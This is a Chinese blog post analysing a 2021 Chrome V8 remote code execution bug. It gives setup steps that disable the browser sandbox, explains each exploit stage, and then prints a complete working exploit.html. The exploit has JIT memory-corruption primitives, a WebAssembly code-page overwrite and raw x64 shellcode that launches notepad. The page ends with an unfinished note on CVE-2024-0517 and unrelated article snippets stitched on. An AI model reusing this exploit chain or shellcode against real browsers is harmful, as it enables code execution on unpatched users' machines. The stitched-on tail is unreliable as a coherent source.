2021 Google Chrome RCE漏洞分析

news2024/11/16 21:21:41

一、复现环境:

Win10 + Google Chrome 86.0.4240.75


二、利用复现:

关闭沙箱安全使用命令进行关闭 ,在正常情况下,浏览器沙箱提供了一个受限制的执行环境,以防止恶意代码对用户系统的损害。关闭沙箱可能会导致浏览器执行环境的变化,使其更容易受到攻击。这在某些情况下可能有助于进行特定类型的漏洞研究和安全测试。

“C:\Program Files\Google\Chrome\Application\chrome.exe” -no-sandbox
在这里插入图片描述

三、EXP核心分析:

// 漏洞利用的HTML代码
<script>
    // 触发垃圾回收以促使后续的内存布局
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }

    // Shellcode,实际上是一个汇编代码的字节序列
    let shellcode = [...];  // 替换为实际的 shellcode

    // WebAssembly 模块的字节码数据
    var wasmCode = new Uint8Array([ /* WebAssembly 模块的字节码数据 */ ]);
    
    // 创建 WebAssembly 模块和实例
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;

    // ArrayBuffer 和 DataView 用于进行内存操作
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    
    // 获取浮点数的低32位
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }

    // 获取浮点数的高32位
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }

    // 合成一个双精度浮点数
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }

    // 将浮点数转换为大端序的64位无符号整数
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }

    // 将大端序的64位无符号整数转换为浮点数
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }

    // 定义一个 ArrayBuffer 的子类,用于进行内存操作
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }

    // 在调用 foo 之前进行多次操作,包括触发垃圾回收
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;

        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;
        let buff = new LeakArrayBuffer(0x1000);
        arr[0] = 0x1122;
        
        return [arr, local_arr, buff];
    }

    for (var i = 0; i < 0x10000; ++i)
        foo(false);

    gc(); gc();

    // 调用 foo,获取相关数组和内存对象
    [corrput_arr, rwarr, corrupt_buff] = foo(true);

    // 利用漏洞进行内存操作
    corrput_arr[12] = 0x22444;
    delete corrput_arr;

    // 对内存进行操作,获取相关信息
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }

    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }

    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;

    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }

    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);

    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));

    // 替换 shellcode 并执行
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    
    // 执行 WebAssembly 的入口函数
    main();
</script>


有一个小问题,我直接使用谷歌浏览器打开这个exp.html时是没有反应的包括默认开打浏览器都不行,需要在谷歌浏览器的地址上输入exp地址才可以执行。所以这个漏洞的一个行为是值得浅析一下的,下面是我的大概一个理解。
这里是通过直接输入EXP行为导致触发

  • 在浏览器中直接打开 HTML 文件时可能会受到一些安全策略的限制,而在地址栏中输入地址可能会绕过一些限制。这是因为在本地文件系统中直接打开
    HTML 文件与通过 HTTP 协议在浏览器中打开页面有一些不同。
  • 浏览器在直接打开本地文件时,可能会将该文件视为“本地”或“不安全”的上下文,并因此应用更严格的安全策略。这可能包括限制某些 JavaScript 功能或禁止执行某些类型的脚本。这是为了防止潜在的安全风险,因为本地文件可能会利用用户系统上的资源。
  • 通过在地址栏中输入地址,你实际上是通过 HTTP 协议从浏览器获取页面,而不是直接从文件系统中加载。在这种情况下,浏览器可能会将页面视为更“安全”的上下文,并放宽一些限制。
  • 这种行为可能是浏览器的一个特定实现,而不同的浏览器可能会有不同的行为。如果你的目标是在本地测试漏洞或脚本,最好的做法是将文件部署到本地服务器上,并通过HTTP协议在浏览器中打开。这样可以更好地模拟实际网络环境,同时减轻一些本地文件系统访问的限制,通过上面的一些描述可以很清楚认定这个行为。

其实在另外一种思路上,如果是直接可以打开直接执行命令,那么就可以绕过谷歌浏览器的这个机制限制,当然这个思路也可能是不存在或不能实现的一种。当然还有一个就是这个漏洞的沙箱逃逸,根据以往一些国外大佬进行逃逸并未成功!

EXP的核心步骤拆解分析

核心在于JavaScript代码是一个漏洞利用脚本,其核心部分在于实现了一系列操作,以触发浏览器漏洞并执行特定的shellcode,最终实现在浏览器中弹出记事本的效果。

让我们逐步分析这个脚本的核心要点:

  1. 内存操作:
  • 使用ArrayBuffer对象进行内存分配,其中gc函数用于触发垃圾回收,以促使后续的内存布局。

ArrayBuffer 是 JavaScript 中的对象,用于表示通用的、固定长度的原始二进制数据缓冲区。它在 JavaScript 中的主要作用是提供一种机制,使得 JavaScript 能够直接操作二进制数据而无需通过字符串。

EXP代码中,ArrayBuffer 主要用于进行内存操作,通过创建 ArrayBuffer 实例并使用 DataView 来对其中的二进制数据进行读写。这些操作是为了进行浮点数和整数之间的转换,以及实现对内存的底层控制,从而进行漏洞利用。

  • 定义了一系列与内存操作相关的函数,如fLowfHii2ff2bigbig2f等,用于处理浮点数和整数之间的转换。

对浮点数和整数之间的转换通常是为了绕过一些数值的限制、操作系统的保护机制,或者触发特定的漏洞。这里简要说明这些函数的作用:
fLow(f): 将浮点数 f 的低 32 位提取出来。在这里可能用于获取浮点数的底层二进制表示的一部分。
fHi(f): 将浮点数 f 的高 32 位提取出来。同样,用于获取浮点数的底层二进制表示的一部分。
i2f(low, hi): 将两个整数 low 和 hi 合成一个双精度浮点数。这个操作可能用于将提取出的浮点数的低 32 位和高 32 位重新组合成一个浮点数。
f2big(f): 将浮点数 f 转换为一个大端序的 64 位无符号整数。这可能用于将浮点数的二进制表示直接当做整数进行处理。
big2f(b): 将大端序的 64 位无符号整数 b 转换为浮点数。这可能用于将整数的二进制表示直接当做浮点数进行处理。

<script>
    // 触发垃圾回收,促使后续的内存布局
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    
    // ... (其他代码)
    
    // 创建一个包含8字节的ArrayBuffer对象
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);

    // 以下是一系列处理浮点数和整数之间转换的函数
    // fLow: 获取浮点数的低32位
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }

    // fHi: 获取浮点数的高32位
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }

    // i2f: 将低32位和高32位整数转换成浮点数
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }

    // f2big: 将浮点数转换成大端格式的64位整数
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }

    // big2f: 将大端格式的64位整数转换成浮点数
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
</script>
  • gc 函数通过循环创建了大量的 ArrayBuffer 对象,以触发垃圾回收。
  • 接着定义了一系列与内存操作相关的函数,如fLowfHii2ff2bigbig2f 等,这些函数用于处理浮点数和整数之间的转换。
  1. WebAssembly 操作:

知识点认识:WebAssembly(Wasm)是一种用于在浏览器中运行高性能代码的二进制指令集。在谷歌浏览器中,WebAssembly 模块可以通过与 JavaScript 代码进行交互,这个漏洞又与谷歌浏览器的 V8 JavaScript 引擎有关

  • 定义了一个包含 WebAssembly 字节码的 Uint8Array 对象,并创建了 WebAssembly 模块和实例。
  • main 函数是 WebAssembly 模块的入口点。
<script>
    // ... (其他代码)

    // 定义一个包含 WebAssembly 模块字节码数据的 Uint8Array
    var wasmCode = new Uint8Array([ /* WebAssembly 模块的字节码数据 */ ]);

    // 创建一个 WebAssembly 模块
    var wasmModule = new WebAssembly.Module(wasmCode);

    // 创建一个 WebAssembly 实例
    var wasmInstance = new WebAssembly.Instance(wasmModule);

    // 获取 WebAssembly 模块的导出函数 main
    var main = wasmInstance.exports.main;

    // ... (其他代码)
</script>
  • wasmCode 定义了一个 Uint8Array,其中包含了 WebAssembly 模块的字节码数据。
  • 通过
  • WebAssembly.Module 创建了一个 WebAssembly 模块。
  • 通过 WebAssembly.Instance创建了一个 WebAssembly 实例,并将其中的 main 函数赋值给了变量 main。
    这部分代码涉及到 WebAssembly的加载和执行,其中 main 函数的调用触发了对应 WebAssembly 模块中的代码执行。
  1. 漏洞触发:
  • 利用特定的操作和计算,触发了浏览器漏洞,包括操作ArrayArrayBuffer等对象。
  1. Shellcode 注入:
  • 定义了一个名为 shellcode 的数组,其中包含一段特定的二进制代码。这段代码是汇编代码,用于执行特定的操作,这里是弹出记事本。
  1. 内存布局操作:
  • 通过一系列的内存操作,计算出一些关键地址,包括 baseAddrwasmInsAddrcode_entry
  • setbackingStore 函数用于修改内存中的值,实现对关键地址的设置。
  1. 最终执行:
  • 在整个过程的最后,通过调用 main 函数,触发了 WebAssembly 模块的执行,并在其中执行了之前注入的 shellcode。

这里是完整的一个EXP,弹出记事本!

// exploit.html
<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
        0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
        0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
        0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
        0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
        0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
        0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
        0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
        0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
        0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
        0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
        0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
        0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
        arr[0] = 0x1122;
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
</script>

四、Google Chrome V8 CVE-2024-0517 越界写入代码执行

漏洞介绍:该漏洞源于 V8 的 Maglev 编译器尝试编译具有父类的类的方式。在这种情况下,编译器必须查找所有父类及其构造函数,并且在执行此操作时会引入漏洞。1月份通报的漏洞预警中与上面的2021年Google Chrome RCE漏洞区别较大,CVE-2024-0517是 … …这里明天再写我直接发稿先…晚了

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数据仓库作为全行或全公司的数据中心和总线&#xff0c;汇集了全行各系统以及外部数据&#xff0c;通过良好的系统架构可以保证系统稳定性和处理高效性&#xff0c;那如何保障系统数据的完备性、规范性和统一性呢&#xff1f;这里就需要有良好的数据分区和数据模型&#xff0c;…

「JavaSE」抽象类接口3

&#x1f387;个人主页&#xff1a;Ice_Sugar_7 &#x1f387;所属专栏&#xff1a;快来卷Java啦 &#x1f387;欢迎点赞收藏加关注哦&#xff01; 抽象类&接口3 &#x1f349;Clonable 接口和深拷贝&#x1f34c;浅拷贝和深拷贝 &#x1f349;Object类&#x1f349;抽象类…

Effective C++ 学习

Effective C浅浅学习&#xff0c;很多不太理解 尽量用const, enum, inline 替换#define尽可能使用const确认对象在使用前就已经被初始化构造&#xff0c;析构&#xff0c;赋值运算&#xff0c;拷贝构造为多态基类声明virtual析构函数不要让析构函数抛出异常不在构造和析构过程中…

javaWebssh宠物基地管理系统myeclipse开发mysql数据库MVC模式java编程计算机网页设计

一、源码特点 java ssh宠物基地管理系统是一套完善的web设计系统&#xff08;系统采用ssh框架进行设计开发&#xff09;&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用 B/S模式开发。开发环境为TOMCAT7.…

跨平台Recorder录音插件:支持多种格式、音频可视化、实时上传、语音识别

视频教程地址&#xff1a;【跨平台Recorder录音插件&#xff1a;支持多种格式、音频可视化、实时上传、语音识别】 https://www.bilibili.com/video/BV1jQ4y1c7e4/?share_sourcecopy_web&vd_sourcee66c0e33402a09ca7ae1f0ed3d5ecf7c /** 先引入Recorder &#xff08; 需先…

幻兽帕鲁服务器数据备份

搭建幻兽帕鲁个人服务器&#xff0c;最近不少用户碰到内存不足、游戏坏档之类的问题。做好定时备份&#xff0c;才能轻松快速恢复游戏进度 这里讲一下如何定时将服务器数据备份到腾讯云轻量对象存储服务&#xff0c;以及如何在有需要的时候进行数据恢复。服务器中间的数据迁移…

CI/CD

介绍一下CI/CD CI/CD的出现改变了开发人员和测试人员发布软件的方式,从最初的瀑布模型,到最后的敏捷开发(Agile Development),再到今天的DevOps,这是现代开发人员构建出色产品的技术路线 随着DevOps的兴起,出现了持续集成,持续交付和持续部署的新方法,传统的软件开发和交付方…

一文学习Thrift RPC

Thrift RPC引言 Thrift RPC的特点 Thrift 是一个RPC的框架&#xff0c;和Hessian RPC有什么区别&#xff0c;最重要的区别是Thrift可以做异构系统开发。 什么是异构系统&#xff0c;服务的提供者和服务的调用者是用不同语言开发的。 为什么会当前系统会有异构系统的调用&…

Vue3 Teleport 将组件传送到外层DOM位置

✨ 专栏介绍 在当今Web开发领域中&#xff0c;构建交互性强、可复用且易于维护的用户界面是至关重要的。而Vue.js作为一款现代化且流行的JavaScript框架&#xff0c;正是为了满足这些需求而诞生。它采用了MVVM架构模式&#xff0c;并通过数据驱动和组件化的方式&#xff0c;使…

音频前置放大器电路图大全

音频前置放大器电路图&#xff08;一&#xff09; 在本设计中&#xff0c;前置放大器的增益控制采用直流音量控制方式&#xff0c;其具体实现如图1所示。前置放大器是由全差分运放和电阻构成的反相比例放大器&#xff0c;其增益由反馈电阻与输人电阻的比值决定。外部输人的直流…

【Leetcode】2859. 计算 K 置位下标对应元素的和

文章目录 题目思路代码结果 题目 题目链接 给你一个下标从 0 开始的整数数组 nums 和一个整数 k 。 请你用整数形式返回 nums 中的特定元素之和 &#xff0c;这些特定元素满足&#xff1a;其对应下标的二进制表示中恰存在 k 个置位。 整数的二进制表示中的 1 就是这个整数的…

WebSocket实现HTML+SpringBoot聊天功能,小程序+SpringBoot聊天功能

目录 一、认识WebSocket 二、HTML实现聊天 三、微信小程序实现聊天 一、认识WebSocket 1.首先博主在初学Java时自我感觉走了很多弯路&#xff0c;因为以前见识短&#xff0c;在接触聊天功能时根本就没能想到有WebSocket这个聊天框架&#xff0c;就只能用底层的UDP或TCP实现聊…

基于Spring Boot的饮食分享平台设计与实现

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

vue项目打包部署到服务器并使用cdn加速

配置 vue.config.js文件 const isProd process.env.NODE_ENV production module.exports {// 其他配置chainWebpack: config > {// 生产环境下使用CDNif (isProd) {config.plugin(html).tap(args > {args[0].cdn assetsCDNreturn args})}},// 生产环境下替换路径为c…

第十二回 急先锋东郭争功 青面兽北京斗武-FreeBSD/Linux SSH配置和常用软件

周谨和杨志第一轮比枪&#xff0c;为了安全&#xff0c;将枪尖去掉&#xff0c;包上柔软的毡片&#xff0c;再蘸满石灰。两人打了四五十个回合&#xff0c;只见周谨身上斑斑点点&#xff0c;约有三五十处&#xff0c;而杨志身上只有左肩牌下一点白。 周谨不服又来比射箭&#x…

如何在云服务上通过docker部署服务?

如何在云服务上通过docker部署服务&#xff1f; 一、在云服务器上安装Docker1、查看云服务器的OS信息2、[安装Docker并使用&#xff08;Linux&#xff09;](https://help.aliyun.com/zh/ecs/use-cases/deploy-and-use-docker-on-alibaba-cloud-linux-2-instances) 二、通过dock…

互斥锁/读写锁(Linux)

一、互斥锁 临界资源概念&#xff1a; 不能同时访问的资源&#xff0c;比如写文件&#xff0c;只能由一个线程写&#xff0c;同时写会写乱。 比如外设打印机&#xff0c;打印的时候只能由一个程序使用。 外设基本上都是不能共享的资源。 生活中比如卫生间&#xff0c;同一…

视频尺寸魔方:分层遮掩3D扩散模型在视频尺寸延展的应用

▐ 摘要 视频延展(Video Outpainting)是对视频的边界进行扩展的任务。与图像延展不同&#xff0c;视频延展需要考虑到填充区域的时序一致性&#xff0c;这使得问题更具挑战性。在本文中&#xff0c;我们介绍了一个新颖的基于扩散模型的视频尺寸延展方法——分层遮掩3D扩散模型(…

Apollo Cyber RT:引领实时操作系统在自动驾驶领域的创新

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏:《linux深造日志》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! ⛳️ 推荐 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下…

Linux的常见指令和基本操作演绎【复习篇章一】

文章目录 前言下载安装 XShellXShell 下的复制粘贴热键操作01.ls指令tree 02.cd指令03.touch指令04.mkdir指令&#xff08;重要&#xff09;&#xff1a;05.rmdir指令 && rm 指令&#xff08;重要&#xff09;06.组合07.man指令&#xff08;重要&#xff09;&#xff1…